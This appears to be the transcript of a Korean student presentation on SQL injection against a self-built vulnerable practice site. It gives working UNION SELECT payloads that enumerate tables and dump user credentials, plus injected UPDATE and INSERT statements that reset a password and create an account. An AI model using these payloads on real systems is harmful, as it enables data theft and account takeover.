Loading presentation...

Present Remotely

Send the link below via email or IM

Copy

Present to your audience

Start remote presentation

  • Invited audience members will follow you as you navigate and present
  • People invited to a presentation do not need a Prezi account
  • This link expires 10 minutes after you close the presentation
  • A maximum of 30 users can follow your presentation
  • Learn more about this feature in our knowledge base article

Do you really want to delete this prezi?

Neither you, nor the coeditors you shared it with will be able to recover it again.

DeleteCancel

Make your likes visible on Facebook?

Connect your Facebook account to Prezi and let your likes appear on your timeline.
You can change this under Settings & Account at any time.

No, thanks

Untitled Prezi

No description
by

Tony An

on 6 May 2015

Comments (0)

Please log in to add your comment.

Report abuse

Transcript of Untitled Prezi

주제
SQL인젝션을 통한 DB탈취
오류 발생
Microsoft OLE DB Provider for SQL Server (0x80040E14)
'' 문자열 앞에 닫히지 않은 인용 부호가 있습니다.
/web/asp/member/zip_search.asp, line 21
우편번호?
우편번호 | 지역 | 시/구/군 | 동/리 |번지
135-080 서울 강남구 역삼동
우편번호 | 지역 | 시/구/군 | 동/리 | 번지
2 3 4 5 6
135-080 서울 강남구 역삼동
연습환경
윈도우 2000 서버
Sql 인젝션 시도
연습환경을 마련했으니, 취약점을 찾아야한다.
DB 오류 출력
오류 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
/web/asp/member/zip_search.asp, line 21
DB 오류 출력
오류 형식:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
UNION 연산자를 포함하는 SQL 문의 모든 쿼리는 대상 목록에 동일한 개수의 식이 있어야 합니다.
/web/asp/member/zip_search.asp, line 21
중간고사 발표 과제
담당 교수님: 이병천 교수님
팀원 : 김근오, 정현성
탈취한 DB를 바탕으로 로그인 시도 및 계정 생성
임의로 제작한 취약한 웹사이트
etc\hosts 파일에 임의로 주소를 넣어줌
"http://victim2.com"
우편번호 검색란에 ' 싱글쿼터를 입력
해당오류를 통해 Sql인젝션이 가능하다는것을 파악
위와 같이 5개의 칼럼이 있다.
5개의 칼럼이 있는 것을 알았으니 이제 Sql구문을 입력
역삼동' union select '1','2','3','4','5' from zipcode--
컬럼이 달라서 생기는 오류 다음과 같이 입력
역삼동' union select '1','2','3','4','5','6' from zipcode--
동일 오류 발생 다음과 같이 재입력
역삼동' union select '1','2','3','4','5','6','7' from zipcode--
정상적으로 출력이 됬다.
즉 컬럼은 총 7개
2~5번까지 밖에 출력이 안된다, 즉 1,7은 내부적으로
처리되는 컬럼임을 알 수 있다.
이제 서브쿼리를 통한 테이블 명을 파악 할 것이다.
역삼동' union select '1','2','3','4','5',(select top 1 table_name from information_schema.tables),'7' from zipcode--
쿼리 입력
출력값
멤버 테이블이 출력됨.
여기서 부터 노가다
역삼동' union select '1','2','3','4','5',(select top 1 table_name from information_schema.tables where Table_name Not in ('member')),'7' from zipcode--
최종적으로
역삼동' union select '1','2','3','4','5',(select top 1 table_name from information_schema.tables where Table_name Not in ('board','comd_list','dtproperties','jiaozhu', 'member', 'Reg_Arrt', 'sysconstraints', 'syssegments', 't_jiaozhu', 'zipcode')),'7' from zipcode--
다음과 같은 테이블명들을 유추해낼 수 있다.
member 테이블을 찾다.
모든 아이디 정보가 들어있는
멤버 테이블을 찾았으므로 멤버 테이블을 공략
역삼동' union select '1','2','3','4','5',(select top 1 column_name from information_schema.columns where Table_name='
member
'),'7' from zipcode--
id 테이블명 노출
여기서부터 또 노가다
역삼동' union select '1','2','3','4','5',(select top 1 column_name from information_schema.columns where Table_name='member' and column_name Not in ('id')),'7' from zipcode--

user_id 테이블명 노출
최종적인 구문
역삼동' union select '1','2','3','4','5',(select top 1 column_name from information_schema.columns where Table_name='member' and column_name Not in ('id', 'user_id', 'name', 'user_pw', 'nickname', 'zipcode', 'address1', 'address2', 'email', 'homepage')),'7' from zipcode--
최종적으로 다음과 같은 테이블을 알 수 있다.
'id', 'user_id', 'name', 'user_pw', 'nickname', 'zipcode', 'address1', 'address2', 'email', 'homepage'
지금까지는 삽질?
위에서는 하위쿼리, 서브쿼리를 사용
삽질.. 삽질..
더 간단하게 뽑으려면??
간단하게 뽑자
역삼동' union select '1','2',table_name,'4','5','6','7' from information_schema.tables --
이제 정보를 뽑아보자
역삼동' union select '1', user_id, name, user_pw, nickname,email, '7' from member--
테이블 명을 이용하여 디비정보를 해킹
DB속 내정보
음? 근데 더럽네?
디비가 더러운 이유는??
이전에 스캐닝툴을 사용한적이 있어서 그런것이니
신경쓰지말자
내 마음대로 디비 업데이트
vitajun이라는 아이디의 비밀번호를 변경해보자
역삼동' update member set user_pw='777777' where user_id='vitajun' --
로그인
로그인 성공!
아이디, 비밀번호를 생성
역삼동' insert into member values ('test','침입자','12345','3','4','5','6','7','8')--
Full transcript